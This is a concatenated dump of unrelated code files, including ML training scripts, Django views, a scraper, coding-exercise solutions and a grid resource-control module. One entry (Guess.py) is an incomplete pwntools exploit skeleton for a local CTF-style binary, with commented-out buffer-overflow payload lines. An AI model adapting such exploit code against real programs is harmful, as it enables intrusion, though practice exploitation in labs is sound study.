self.kernel.set_support(x_train)\n K_lambda = self.kernel.get_k()\n K_lambda += lambd * n_train * np.eye(n_train)\n self.beta = np.linalg.solve(K_lambda, phi)\n\n def __call__(self, x):\n K_x = self.kernel(x).T\n return K_x @ self.beta\n \n def thres_pred(self, x, threshold):\n pred = self(x)\n pred -= threshold\n np.sign(pred, out=pred)\n return pred\n \n def topk_pred(self, x, k):\n soft_pred = self(x)\n sort_pred = np.argsort(soft_pred, axis=1)[:, -k:]\n pred = np.zeros(soft_pred.shape, dtype=np.bool_)\n self.fill_topk_pred(pred, sort_pred)\n return pred\n \n @staticmethod\n @numba.jit(\"(b1[:,:], i8[:,:])\", nopython=True)\n def fill_topk_pred(pred, sort_pred):\n n, m = sort_pred.shape\n for i in range(n):\n for j in range(m):\n pred[i, sort_pred[i, j]] = True\n ","sub_path":"multilabel/variational.py","file_name":"variational.py","file_ext":"py","file_size_in_byte":1456,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"373115284","text":"import requests\n\nurl = \"http://www.zju.edu.cn\"\ntry:\n\tr = requests.get(url)\n\tr.raise_for_status()\n\tr.encoding=r.apparent_encoding\n\tprint(r.text[500:1000])\nexcept:\n\tprint(\"Error!\")\n","sub_path":"pycode/WebCrawler/webcrawler_practise1.py","file_name":"webcrawler_practise1.py","file_ext":"py","file_size_in_byte":179,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"348136793","text":"class Solution:\n def areAlmostEqual(self, s1: str, s2: str) -> bool:\n diff1, diff2 = -1, -1\n for i, v in enumerate(s1):\n if s1[i] != s2[i]:\n if diff1 == -1:\n diff1 = i\n elif diff2 == -1:\n diff2 = i\n else:\n return False\n if diff1 != -1 and diff2 != -1:\n return s1[diff1] == s2[diff2] and s1[diff2] == s2[diff1]\n if diff1 != -1:\n return False\n return True\n","sub_path":"src/other/1790.py","file_name":"1790.py","file_ext":"py","file_size_in_byte":527,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"629421916","text":"#coding:utf-8\n\nfrom pwn import *\n\nio = process(\"./GUESS\")\nelf = ELF('./GUESS')\n\n# payload1 = p64(elf.got['puts']) * 200\n# payload1 = p64(0xdeadbeef) * 200\nio.sendline(payload1)\n\n\n\n# payload2 = p64(elf.)\n\nio.interactive()","sub_path":"pwn_exec/example/other_stack/Guess.py","file_name":"Guess.py","file_ext":"py","file_size_in_byte":220,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"37874087","text":"from django.contrib.auth.decorators import login_required\nfrom driver_manager.models import RacemanProfile\nfrom event_manager.models import Track\nfrom django.shortcuts import render\n\"\"\"racelog URL Configuration\n\nThe `urlpatterns` list routes URLs to views. For more information please see:\n https://docs.djangoproject.com/en/2.0/topics/http/urls/\nExamples:\nFunction views\n 1. Add an import: from my_app import views\n 2. Add a URL to urlpatterns: path('', views.home, name='home')\nClass-based views\n 1. Add an import: from other_app.views import Home\n 2. Add a URL to urlpatterns: path('', Home.as_view(), name='home')\nIncluding another URLconf\n 1. Import the include() function: from django.urls import include, path\n 2. Add a URL to urlpatterns: path('blog/', include('blog.urls'))\n\"\"\"\nfrom django.contrib import admin\nfrom django.urls import include, path\nfrom django.http import HttpResponse\n@login_required\ndef scmods(request):\n profile = RacemanProfile.objects.get(user__username=request.user.username)\n name = '{1}, {0}'.format(profile.user.first_name,profile.user.last_name)\n licence = profile.licence_no\n d = \"\"\"\n \n \n State County Municipal Offender Data System\n \n \n

{0}\n
ILLINOIS LICENSE: {1}\n
CURRENTLY UNDER SUSPENSION\n
WARRANTS OUTSTANDING: PARKG. 116\n
MOVING VIOLATIONS: 56\n
ARREST DRIVER... IMPOUND VEHICLE

\n \n \n \"\"\".format(name,licence)\n return HttpResponse(d)\n\n@login_required\ndef home(request):\n tracks = Track.objects.all()\n print(tracks)\n return render(request,'event_manager\\homepage.html',context={'tracks':tracks,})\n\nurlpatterns = [\n path(r'',home),\n path('admin/doc/', include('django.contrib.admindocs.urls')),\n path(r'accounts/',include('django.contrib.auth.urls')),\n path(r'admin/', admin.site.urls),\n path(r'',include('flag_reporting.urls')),\n path(r'',include('driver_manager.urls')),\n path(r'', include('event_manager.urls')),\n path(r'', include('light_control.urls')),\n path(r'',include('car_manager.urls')),\n path(r'scmods/',scmods),\n]\n","sub_path":"racelog/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":2255,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"612111810","text":"import datetime\nimport json\nimport string\nimport requests\n\nnow = datetime.date.today()\ndotDate = now.strftime(\"%Y.%m.%d\")\n\ntime = datetime.datetime.now().time()\ndate = datetime.datetime.now().date()\ndateTime = (str(date).rstrip() + 'T' + str(time).rstrip() + '-0700')\n\nstatsurl = \"http://localhost:9200/*-\" + str(dotDate).rstrip() + \"/_stats?pretty\"\nurl = \"http://localhost:9200/index_stats-\" + str(date).rstrip() + \"/docs?pretty\"\nheaders = {'Content-type': 'application/json'}\nr = requests.get(statsurl)\nd = json.loads(r.text)\n\nfor k,v in d['indices'].iteritems():\n c = v['primaries']['docs']['count']\n s = v['primaries']['store']['size_in_bytes']\n\n newIndex = dict()\n newIndex['index_name'] = k\n newIndex['doc_count'] = c\n newIndex['index_size'] = s\n newIndex['@timestamp'] = dateTime\n \n jsonString = json.dumps(newIndex,sort_keys=True)\n print(jsonString)\n r = requests.post(url,headers=headers,data=jsonString)\n print(r.text+\"\\n\")\n","sub_path":"ELK/es_stats.py","file_name":"es_stats.py","file_ext":"py","file_size_in_byte":970,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"150785181","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Apr 6 17:10:55 2020\n\n@author: DELL\n\"\"\"\nimport string\np1 = input(\"first name : \")\np1= p1.lower()\np1 = p1.replace(\" \", \"\")\n\np2 = input(\"second name : \")\np2 = p2.lower()\np2 = p2.replace(\" \", \"\")\nl1 = list(p1)\nl2 = list(p2)\ndef match_words(l1,l2):\n for i in range(len(l1)):\n for j in range(len(l2)):\n if l1[i] ==l2[j]:\n c= l1[i] \n l1.remove(c)\n l2.remove(c)\n l = l1+['*']+l2\n return[l,True]\n l = l1+['*']+l2\n return [l,False]\nproceed = True \nwhile proceed:\n ret_list = match_words(l1,l2)\n con_list = ret_list[0]\n proceed = con_list[1]\n star_index= con_list.index('*')\n l1 = con_list[:star_index]\n l2 = con_list[star_index +1:]\n \n\ncount = len(l1) +len(l2)\nresult = ['Friends','Love','Affection',' marriage','Enemy',' Siblings']\n\n\nwhile len(result)>1:\n split_index = (count%len(result)) - 1\n if split_index >=0 :\n right = result[split_index + 1 :]\n left = result[ : split_index ]\n result = right + left\n else :\n result = result[ :len(result) +1 ]\n \nprint(result[0])","sub_path":"Flames.py","file_name":"Flames.py","file_ext":"py","file_size_in_byte":1185,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"44685307","text":"#!/usr/bin/python\n\nimport sys\n\n\ndef making_change(amount, denominations):\n \"\"\"\n receives as input an amount of money in cents \n as well as an array of coin denominations \n and calculates the total number of ways in which change can be made for the input amount \n using the given coin denominations.\n 10 -> 4\n 20 -> 9\n \"default\" denominations = [1, 5, 10, 25, 50]\n \"\"\"\n \"\"\"\n if amount <= 4:\n return 1\n elif amount <= 9:\n return 2\n else:\n return 'TBD'\n \"\"\"\n\n\nif __name__ == \"__main__\":\n # Test our your implementation from the command line\n # with `python making_change.py [amount]` with different amounts\n if len(sys.argv) > 1:\n denominations = [1, 5, 10, 25, 50]\n amount = int(sys.argv[1])\n print(\"There are {ways} ways to make {amount} cents.\".format(\n ways=making_change(amount, denominations), amount=amount))\n else:\n print(\"Usage: making_change.py [amount]\")\n","sub_path":"making_change/making_change.py","file_name":"making_change.py","file_ext":"py","file_size_in_byte":977,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"651361144","text":"#!/usr/bin/env python\n# -*- coding:utf-8 -*-\nfrom scrapy.spiders import Spider\nfrom scrapy.selector import Selector\n\nfrom python.items import PythonItem\n\nclass TestSpider(Spider):\n name = \"test\"\n allowed_domains = [\"xiaohuar.com\"]\n start_urls = [\n \"http://fund.eastmoney.com/data/fundranking.html#tall;c0;r;szzf;pn50;ddesc;qsd20160825;qed20170825;qdii;zq;gg;gzbd;gzfs;bbzt;sfbb\",\n ]\n\n def parse(self, response):\n sel = Selector(response)\n sites = sel.xpath('//table[@id=\"dbtable\"]')\n items = []\n\n for site in sites:\n item = PythonItem()\n\n code = site.xpath('td/text()').extract()\n name = site.xpath('a/@href').extract()\n date = site.xpath('a/@title').extract()\n\n item['code'] = [t.encode('utf-8') for t in code]\n item['name'] = [l.encode('utf-8') for l in name]\n item['date'] = [d.encode('utf-8') for d in date]\n items.append(item)\n\n return items","sub_path":"python/spiders/test_spider.py","file_name":"test_spider.py","file_ext":"py","file_size_in_byte":991,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"198609039","text":"from gmail import GMail, Message\ngmail = GMail('hxhteng4394@gmail.com','hoangduong4394')\nhtml_template = '''\n

Chào anh ,

\n

Hôm nay bỗng dưng long thể bất an, {{ disease }} .

\n

Em mạnh dạn dự đoán là bị {{ symptom }} cần chuyền nội y .

Do vậy em xin nghỉ hôm nay .

\n

Học sinh của anh

\n

 

\n'''\n\nfrom random import choice\nsymptom_disease = {\n '��au bụng': 'Tiêu chảy',\n 'Đau đầu': 'Thương hàn',\n 'Đau toàn thân': 'Bách độc công tâm',\n}\nsymptom, disease = choice(list(symptom_disease.items()))\nhtml_content = html_template.replace(\"{{ symptom }}\", choice(symptom))\nhtml_content = html_template.replace(\"{{ disease }}\", choice(disease))\nmsg = Message('LAB1',to = 'hxhteng4394@gmail.com',html = html_content)\nmail.send(msg)","sub_path":"Lab1/Homework/testex2.py","file_name":"testex2.py","file_ext":"py","file_size_in_byte":881,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"614462034","text":"import torch.utils\nimport torch.utils.data\nimport argparse\nfrom datetime import datetime\nfrom torch.utils.tensorboard import SummaryWriter\nfrom data_loader_siamese import *\nfrom loss import contrastive_loss\nfrom knn_check import knn_distance_calculation\n\n# NN layers and models\nclass GraphConv(nn.Module):\n '''\n Graph Convolution Layer according to (T. Kipf and M. Welling, ICLR 2017)\n Additional tricks (power of adjacency matrix and weight self connections) as in the Graph U-Net paper\n '''\n\n def __init__(self,\n in_features,\n out_features,\n activation=None,\n adj_sq=False,\n scale_identity=False):\n super(GraphConv, self).__init__()\n self.fc = nn.Linear(in_features=in_features, out_features=out_features)\n self.adj_sq = adj_sq\n self.activation = activation\n self.scale_identity = scale_identity\n\n def laplacian_batch(self, A):\n batch, N = A.shape[:2]\n if self.adj_sq:\n A = torch.bmm(A, A) # use A^2 to increase graph connectivity\n I = torch.eye(N).unsqueeze(0).to(args.device)\n if self.scale_identity:\n I = 2 * I # increase weight of self connections\n A_hat = A + I\n D_hat = (torch.sum(A_hat, 1) + 1e-5) ** (-0.5)\n L = D_hat.view(batch, N, 1) * A_hat * D_hat.view(batch, 1, N)\n return L\n\n def forward(self, data):\n x, A = data[:2]\n x = self.fc(torch.bmm(self.laplacian_batch(A), x))\n if self.activation is not None:\n x = self.activation(x)\n return (x, A)\n\n\nclass GCN(nn.Module):\n '''\n Baseline Graph Convolutional Network with a stack of Graph Convolution Layers and global pooling over nodes.\n '''\n\n def __init__(self,\n in_features,\n out_features,\n filters=[64, 64, 64],\n n_hidden=0,\n dropout=0.2,\n adj_sq=False,\n scale_identity=False):\n super(GCN, self).__init__()\n\n # Graph convolution layers\n self.gconv = nn.Sequential(*([GraphConv(in_features=in_features if layer == 0 else filters[layer - 1],\n out_features=f,\n activation=nn.ReLU(inplace=True),\n adj_sq=adj_sq,\n scale_identity=scale_identity) for layer, f in enumerate(filters)]))\n\n # Fully connected layers\n fc = []\n if dropout > 0:\n fc.append(nn.Dropout(p=dropout))\n if n_hidden > 0:\n fc.append(nn.Linear(filters[-1], n_hidden))\n if dropout > 0:\n fc.append(nn.Dropout(p=dropout))\n n_last = n_hidden\n else:\n n_last = filters[-1]\n fc.append(nn.Linear(n_last, out_features))\n self.fc = nn.Sequential(*fc)\n\n def forward(self, data):\n x = self.gconv(data)[0]\n x = torch.max(x, dim=1)[0].squeeze() # # max pooling over nodes\n x = self.fc(x)\n return x\n\n\n\n\nif __name__ == '__main__':\n # Experiment parameters\n parser = argparse.ArgumentParser(description='contrastive_GCN')\n\n parser.add_argument('--first_dataset', type=str, default='ign_2019',\n help='Name of dataset number 1, should correspond to the folder with data')\n parser.add_argument('--second_dataset', type=str, default='ign_2004',\n help='Name of the matching dataset, should correspond to the folder with data')\n parser.add_argument('--third_dataset', type=str, default='ign_2014',\n help='Name of the matching dataset which will be used for validation, should correspond to the folder with data')\n parser.add_argument('--test_dataset', type=str, default='ign_2010',\n help='Name of the matching dataset, should correspond to the folder with data')\n parser.add_argument('--emb_dim', type=int, default=256,\n help='Feature output size (default: 128')\n parser.add_argument('--hidden_filters', type=list, default=[256, 512],\n help='num of gcn layers')\n parser.add_argument('--batch-size', type=int, default=35, metavar='N',\n help='input training batch-size')\n parser.add_argument('--epochs', type=int, default=45, metavar='N',\n help='number of training epochs (default: 150)')\n parser.add_argument('--lr', type=float, default=1e-3,\n help='learning rate (default: 1e-3')\n parser.add_argument(\"--decay-lr\", default=1e-6, action=\"store\", type=float,\n help='Learning rate decay (default: 1e-6')\n parser.add_argument('--tau', default=0.5, type=float,\n help='Tau temperature smoothing (default 0.5)')\n parser.add_argument('--log-dir', type=str, default='runs/',\n help='logging directory (default: runs)')\n parser.add_argument('--device', default='cpu',\n help='cpu or cuda')\n parser.add_argument('--load-model', type=str, default=None,\n help='Load model to resume training for (default None)')\n parser.add_argument('--device-id', type=int, default=0,\n help='GPU device id (default: 0')\n parser.add_argument('--threads', type=int, default=0,\n help='num of threads')\n parser.add_argument('--log_interval', type=int, default=10,\n help='num of threads')\n parser.add_argument('--n_folds', type=int, default=1,\n help='n-fold cross validation, default is 2 folds - single check of best val accuracy')\n parser.add_argument('--seed', type=int, default=111,\n help='seed for reproduction')\n parser.add_argument('--visualize', type=bool, default=True,\n help='visualize the data')\n\n args = parser.parse_args()\n filename = args.log_dir + '/' + datetime.now().strftime(\"%Y%m%d-%H%M%S\") + '.txt'\n\n w = open(filename, \"w\")\n for key, val in args.__dict__.items():\n w.write(str(key) +' ' +str(val) +'\\n')\n print('torch', torch.__version__)\n\n print('Loading data')\n datareader14 = DataReader(data_dir='./data/IGN_all_clean/%s/' % args.third_dataset.upper(),\n rnd_state=np.random.RandomState(args.seed),\n folds=args.n_folds,\n use_cont_node_attr=True)\n datareader04 = DataReader(data_dir='./data/IGN_all_clean/%s/' % args.second_dataset.upper(),\n rnd_state=np.random.RandomState(args.seed),\n folds=args.n_folds,\n use_cont_node_attr=True)\n\n datareader19 = DataReader(data_dir='./data/IGN_all_clean/%s/' % args.first_dataset.upper(),\n rnd_state=np.random.RandomState(args.seed),\n folds=args.n_folds,\n use_cont_node_attr=True)\n\n\n datareader10 = DataReader(data_dir='./data/IGN_all_clean/%s/' % args.test_dataset.upper(),\n rnd_state=np.random.RandomState(args.seed),\n folds=args.n_folds,\n use_cont_node_attr=True)\n # tensorboard\n writer = SummaryWriter()\n\n # model definition\n model = GCN(in_features=datareader19.data['features_dim'],\n out_features=args.emb_dim,\n n_hidden=0,\n filters=args.hidden_filters,\n dropout=0.2,\n adj_sq=False,\n scale_identity=True).to(args.device)\n\n print('\\nInitialize model')\n print(model)\n\n c = 0\n for p in filter(lambda p: p.requires_grad, model.parameters()):\n c += p.numel()\n print('N trainable parameters:', c)\n\n optimizer = optim.Adam(\n filter(lambda p: p.requires_grad, model.parameters()),\n lr=args.lr,\n weight_decay=args.decay_lr,\n betas=(0.5, 0.999))\n\n scheduler = lr_scheduler.MultiStepLR(optimizer, [5, 5], gamma=0.1)\n best_test_loss = 10000 # to keep track of the validation_loss parameter\n\n def train(train_loader, epoch):\n scheduler.step()\n model.train()\n loss_func = contrastive_loss(tau=args.tau)\n start = time.time()\n train_loss, n_samples = 0, 0\n for batch_idx, data in enumerate(train_loader):\n for i in range(len(data[0])):\n data[0][i] = data[0][i].to(args.device)\n data[1][i] = data[1][i].to(args.device)\n optimizer.zero_grad()\n output_2004 = model(data[0])\n output_2019 = model(data[1])\n loss = loss_func(output_2004, output_2019)\n loss.backward()\n optimizer.step()\n time_iter = time.time() - start\n train_loss += loss.item() * len(output_2004)\n n_samples += len(output_2004)\n if batch_idx % args.log_interval == 0 or batch_idx == len(train_loader) - 1:\n print('Train Epoch: {} [{}/{} ({:.0f}%)]\\tLoss: {:.6f} (avg: {:.6f}) \\tsec/iter: {:.4f}'.format(\n epoch, n_samples, len(train_loader.dataset),\n 100. * (batch_idx + 1) / len(train_loader), loss.item(), train_loss / n_samples,\n time_iter / (batch_idx + 1)))\n w.write('Train Epoch: {} [{}/{} ({:.0f}%)]\\tLoss: {:.6f} (avg: {:.6f}) \\tsec/iter: {:.4f} \\n'.format(\n epoch, n_samples, len(train_loader.dataset),\n 100. * (batch_idx + 1) / len(train_loader), loss.item(), train_loss / n_samples,\n time_iter / (batch_idx + 1)))\n train_loss /= n_samples\n return train_loss/len(output_2004)\n\n\n def test(test_loader, epoch):\n model.eval()\n start = time.time()\n loss_fn = contrastive_loss(tau=args.tau)\n test_loss, correct, n_samples = 0, 0, 0\n for batch_idx, data in enumerate(test_loader):\n for i in range(len(data[0])):\n data[0][i] = data[0][i].to(args.device)\n data[1][i] = data[1][i].to(args.device)\n optimizer.zero_grad()\n output_2004 = model(data[0])\n output_2019 = model(data[1])\n loss = loss_fn(output_2004, output_2019)\n test_loss += loss.item()\n n_samples += len(output_2004)\n test_loss /= n_samples\n print('Test set (epoch {}): Average loss: {:.4f}\\n'.format(epoch,\n test_loss))\n global best_test_loss\n if test_loss= 0,\n num_workers=args.threads)\n loader_val = torch.utils.data.DataLoader(gdata_val,\n batch_size=args.batch_size,\n # shuffle=split.find('train') >= 0,\n num_workers=args.threads)\n loaders.append(loader)\n loaders_val.append(loader_val)\n for epoch in range(args.epochs):\n tr_l =train(loaders[1], epoch)\n ts_l = test(loaders_val[1], epoch)\n writer.add_scalar('Loss/train', tr_l, epoch)\n writer.add_scalar('Loss/val', ts_l, epoch)\n map = cross_val_map(loaders[1])\n w.write('epoch' + str(epoch) + 'map on train set is ' + str(map) + '\\n')\n writer.add_scalar('map/train', map, epoch)\n map = cross_val_map(loaders_val[1])\n w.write('epoch'+str(epoch)+'map on val set is ' + str(map) + '\\n')\n writer.add_scalar('map/val', map, epoch)\n for param_group in optimizer.param_groups:\n lr = param_group['lr']\n writer.add_scalar('lr', lr, epoch)\n\n model.load_state_dict(torch.load('saved_model/siamese_gcn.pth'))\n\n #final test accuracy calculation\n test_loaders = []\n for split in ['train', 'test']:\n gdata = GraphDataSiamese(fold_id=0,\n datareader04=datareader04, datareader19=datareader10, split = split)\n\n test_loader = torch.utils.data.DataLoader(gdata,\n batch_size=args.batch_size,\n # shuffle=split.find('train') >= 0,\n num_workers=args.threads)\n test_loaders.append(test_loader)\n\n map = cross_val_map(test_loaders[1])\n w.write('final map precision is ' + str(map)+'\\n')\n","sub_path":"siamese_mini.py","file_name":"siamese_mini.py","file_ext":"py","file_size_in_byte":15335,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"181187479","text":"from django.db.models.signals import post_save, post_delete\nfrom django.dispatch import receiver\nfrom apps.account.models import User\nfrom apps.org.models import UserOrg, UserDiscussionGroup, DiscussionGroup, Department\nfrom apps.search import send_index_cmd\n\n\n@receiver(post_save)\ndef create_index_on_object_saved(sender, instance, **kwargs):\n # 创建User时不需要建索引,对应Org加入或离开时才更新。\n if sender == UserOrg: # user加入/离开组织,为该user在组织内创建/删除索引。\n send_index_cmd(User, instance.user_id, instance.org_id, not instance.is_left)\n\n elif sender == User: # 更新User name时,更新索引\n if not kwargs['created'] and instance.get_field_diff('name'):\n for uo in instance.orgs():\n send_index_cmd(User, uo.user_id, uo.org_id)\n\n elif sender == UserDiscussionGroup: # user加入/离开讨论组,创建(更新)讨论组索引。\n send_index_cmd(DiscussionGroup, instance.group_id, instance.org_id, True)\n\n elif sender == DiscussionGroup: # 创建/删除讨论组,创建/删除讨论组索引\n send_index_cmd(DiscussionGroup, instance.id, instance.org_id, not instance.is_disbanded)\n\n elif sender == Department: # 创建/删除部门,创建/删除部门索引\n send_index_cmd(Department, instance.id, instance.org_id, not instance.is_disbanded)\n\n\n@receiver(post_delete)\ndef remove_index_on_object_deleted(sender, instance, **kwargs):\n # 删除user时,UserOrg和UserDiscussionGroup都会被删除, 因此不处理sender==User.\n if sender == UserOrg: # user离开组织,为该user在组织内删除索引。\n send_index_cmd(User, instance.user_id, instance.org_id, False)\n\n elif sender == UserDiscussionGroup: # user离开讨论组,更新讨论组索引。\n send_index_cmd(DiscussionGroup, instance.group_id, instance.org_id, True)\n\n elif sender == DiscussionGroup: # 删除讨论组,删除讨论组索引\n send_index_cmd(DiscussionGroup, instance.id, instance.org_id, False)\n\n elif sender == Department: # 删除部门,删除部门索引\n send_index_cmd(Department, instance.id, instance.org_id, False)\n","sub_path":"starfish-ws/apps/search/signals.py","file_name":"signals.py","file_ext":"py","file_size_in_byte":2214,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"430172046","text":"# @Author : Vector\n# @Email : vectorztt@163.com\n# @Time : 2019/10/9 13:35\n# -----------------------------------------\nimport time\nfrom pynput.keyboard import Controller, Key\nfrom selenium.webdriver.common.by import By\n\nfrom app.back_text.object_page.common_ele import GameCommonElePage\nfrom conf.decorator import teststep, teststeps\n\n\nclass WKGame(GameCommonElePage):\n @teststep\n def wait_check_wk_game_page(self):\n locator = (By.CSS_SELECTOR, '.wk-container')\n return self.get_wait_check_page_result(locator)\n\n @teststep\n def wait_check_play_btn_page(self):\n \"\"\"视频播放按钮页面检查点\"\"\"\n locator = (By.CLASS_NAME, 'icon-components-triangle')\n return self.get_wait_check_page_result(locator)\n\n @teststep\n def video_player(self):\n \"\"\"播放视频\"\"\"\n ele = self.driver.find_element_by_css_selector('.player video')\n return ele\n\n @teststep\n def play_btn(self):\n \"\"\"视频播放按钮\"\"\"\n ele = self.driver.find_element_by_css_selector('.control .play')\n return ele\n\n @teststep\n def play_full_screen_btn(self):\n ele = self.driver.find_element_by_css_selector('.icon-components-zoom-in-frame')\n return ele\n\n @teststep\n def video_process(self):\n \"\"\"视频长度\"\"\"\n ele = self.driver.find_element_by_css_selector('.line .bg')\n return ele\n\n @teststep\n def process_dot(self):\n \"\"\"播放进度点\"\"\"\n ele = self.driver.find_element_by_css_selector('.dot')\n return ele\n\n @teststeps\n def wk_game_operate(self):\n print('======== 微课 ========\\n')\n start_time = round(time.time())\n while self.wait_check_wk_game_page():\n small_image_size = self.video_player().size\n self.play_full_screen_btn().click()\n time.sleep(2)\n big_image_size = self.video_player().size\n keyboard = Controller()\n keyboard.press(Key.esc)\n keyboard.release(Key.esc)\n\n time.sleep(2)\n print('初始视频大小:', small_image_size)\n print('放大视频大小:', big_image_size)\n if big_image_size['width'] < small_image_size['width']:\n self.base_assert.except_error('视频放大后长度未发生变化')\n else:\n print('视频放大长度校验成功')\n\n self.play_btn().click()\n time.sleep(3)\n\n while 'disabled' in self.commit_btn().get_attribute('class'):\n time.sleep(3)\n\n self.commit_btn().click()\n used_time = round(time.time()) - start_time\n return used_time\n\n\n\n","sub_path":"app/back_text/object_page/wk_game.py","file_name":"wk_game.py","file_ext":"py","file_size_in_byte":2686,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"607221088","text":"#!/usr/bin/env python\n\"\"\"\n_ResourceControl_\n\nLibrary from manipulating and querying the resource control database.\n\"\"\"\n\nfrom WMCore.DAOFactory import DAOFactory\nfrom WMCore.WMConnectionBase import WMConnectionBase\nfrom WMCore.WMException import WMException\n\nclass ResourceControlException(WMException):\n \"\"\"\n _ResourceControlException_\n\n Exception for the ResourceControl mechanisms\n \"\"\"\n pass\n\n\nclass ResourceControl(WMConnectionBase):\n def __init__(self):\n WMConnectionBase.__init__(self, daoPackage = \"WMCore.ResourceControl\")\n self.wmbsDAOFactory = DAOFactory(package = \"WMCore.WMBS\",\n logger = self.logger,\n dbinterface = self.dbi)\n return\n\n def insertSite(self, siteName, jobSlots = 0, seName = None,\n ceName = None, cmsName = None, plugin = None):\n \"\"\"\n _insertSite_\n\n Insert a site into WMBS. The site must be inserted before any\n thresholds can be added.\n \"\"\"\n insertAction = self.wmbsDAOFactory(classname = \"Locations.New\")\n insertAction.execute(siteName = siteName, jobSlots = jobSlots,\n seName = seName, ceName = ceName,\n plugin = plugin, cmsName = cmsName,\n conn = self.getDBConn(),\n transaction = self.existingTransaction())\n return\n\n def drainSite(self, siteName, drain = True):\n \"\"\"Set a state to draining / re-enable it\"\"\"\n drainAction = self.wmbsDAOFactory(classname = \"Locations.SetDrain\")\n drainAction.execute(siteName = siteName, drain = drain,\n conn = self.getDBConn(),\n transaction = self.existingTransaction())\n\n def listSiteInfo(self, siteName):\n \"\"\"\n _listSiteInfo_\n\n List the site name, ce name, se name and number of job slots for a\n given site.\n \"\"\"\n listAction = self.wmbsDAOFactory(classname = \"Locations.GetSiteInfo\")\n result = listAction.execute(siteName = siteName,\n conn = self.getDBConn(),\n transaction = self.existingTransaction())\n if len(result) == 0:\n return None\n return result[0]\n\n def insertThreshold(self, siteName, taskType, maxSlots, priority = None):\n \"\"\"\n _insertThreshold_\n\n Insert a threshold into the Resource Control database. If the threshold\n already exists it will be updated.\n \"\"\"\n existingTransaction = self.beginTransaction()\n \n subTypeAction = self.wmbsDAOFactory(classname = \"Subscriptions.InsertType\")\n subTypeAction.execute(subType = taskType, conn = self.getDBConn(),\n transaction = self.existingTransaction())\n insertAction = self.daofactory(classname = \"InsertThreshold\")\n insertAction.execute(siteName = siteName, taskType = taskType,\n maxSlots = maxSlots,\n priority = priority,\n conn = self.getDBConn(),\n transaction = self.existingTransaction())\n\n self.commitTransaction(existingTransaction)\n return\n\n def listThresholdsForSubmit(self):\n \"\"\"\n _listThresholdsForSubmit_\n\n Retrieve a list of job threshold information as well as information on\n the number of jobs running for all the known sites. This information is\n returned in the form of a three level dictionary. The first level is\n keyed by the site name while the second is keyed by the task type. The\n final level has the following keys:\n total_slots - Total number of slots available at the site\n task_running_jobs - Number of jobs for this task running at the site\n total_running_jobs - Total jobs running at the site\n max_slots - Maximum number of job slots for this task at the site\n \"\"\"\n listAction = self.daofactory(classname = \"ListThresholdsForSubmit\")\n return listAction.execute(conn = self.getDBConn(),\n transaction = self.existingTransaction())\n\n def listThresholdsForCreate(self):\n \"\"\"\n _listThresholdsForCreate_\n\n This will return a two level dictionary with the first level being\n keyed by site name. The second level will have the following keys:\n total_slots - Total number of slots available at the site\n running_jobs - Total number of jobs running at the site\n \"\"\"\n listAction = self.daofactory(classname = \"ListThresholdsForCreate\")\n return listAction.execute(conn = self.getDBConn(),\n transaction = self.existingTransaction())\n\n def listWorkloadsForTaskSite(self, taskType, siteName):\n \"\"\"\n _listWorkflowsForTaskSite_\n\n For the given task and site list the number of jobs running for each\n task.\n \"\"\"\n listActions = self.daofactory(classname = \"ListWorkloadsForTaskSite\")\n return listActions.execute(taskType, siteName,\n conn = self.getDBConn(),\n transaction = self.existingTransaction())\n\n def setJobSlotsForSite(self, siteName, jobSlots):\n \"\"\"\n _setJobSlotsForSite_\n\n Set the number of job slots for the given site.\n \"\"\"\n slotsAction = self.daofactory(classname = \"SetJobSlotsForSite\")\n slotsAction.execute(siteName, jobSlots, conn = self.getDBConn(),\n transaction = self.existingTransaction())\n\n def thresholdBySite(self, siteName):\n \"\"\"\n _thresholdBySite_\n \n List the thresholds of a single site\n \"\"\"\n listActions = self.daofactory(classname = \"ThresholdBySite\")\n return listActions.execute(site = siteName,\n conn = self.getDBConn(),\n transaction = self.existingTransaction())\n\n\n def insertAllSEs(self, siteName, jobSlots = 0, ceName = None, plugin = None,\n taskList = []):\n \"\"\"\n _insertAllSEs_\n\n Insert all SEs into WMBS ResourceControl\n This uses the Services.SiteDB to insert all SEs under a common\n CE. It is meant to be used with WMS submission.\n\n Sites will be named siteName_SEName\n\n It expects a taskList of the following form:\n\n [{'taskType': taskType, 'priority': priority, 'maxSlots': maxSlots}]\n\n for each entry in the taskList, a threshold is inserted into the database\n for EVERY SE\n \"\"\"\n\n from WMCore.Services.SiteDB.SiteDB import SiteDBJSON\n siteDB = SiteDBJSON()\n\n cmsNames = siteDB.getAllCMSNames()\n for cmsName in cmsNames:\n seNames = siteDB.cmsNametoSE(cmsName)\n for SE in seNames:\n sName = '%s_%s' % (siteName, SE)\n self.insertSite(siteName = sName, jobSlots = jobSlots, seName = SE,\n ceName = ceName, cmsName = cmsName, plugin = plugin)\n for task in taskList:\n if not task.has_key('maxSlots') or not task.has_key('taskType') \\\n or not task.has_key('priority'):\n msg = \"Incomplete task in taskList for ResourceControl.insertAllSEs\\n\"\n msg += task\n raise ResourceControlException(msg)\n self.insertThreshold(siteName = sName, taskType = task['taskType'],\n maxSlots = task['maxSlots'], priority = task['priority'])\n\n\n return\n\n 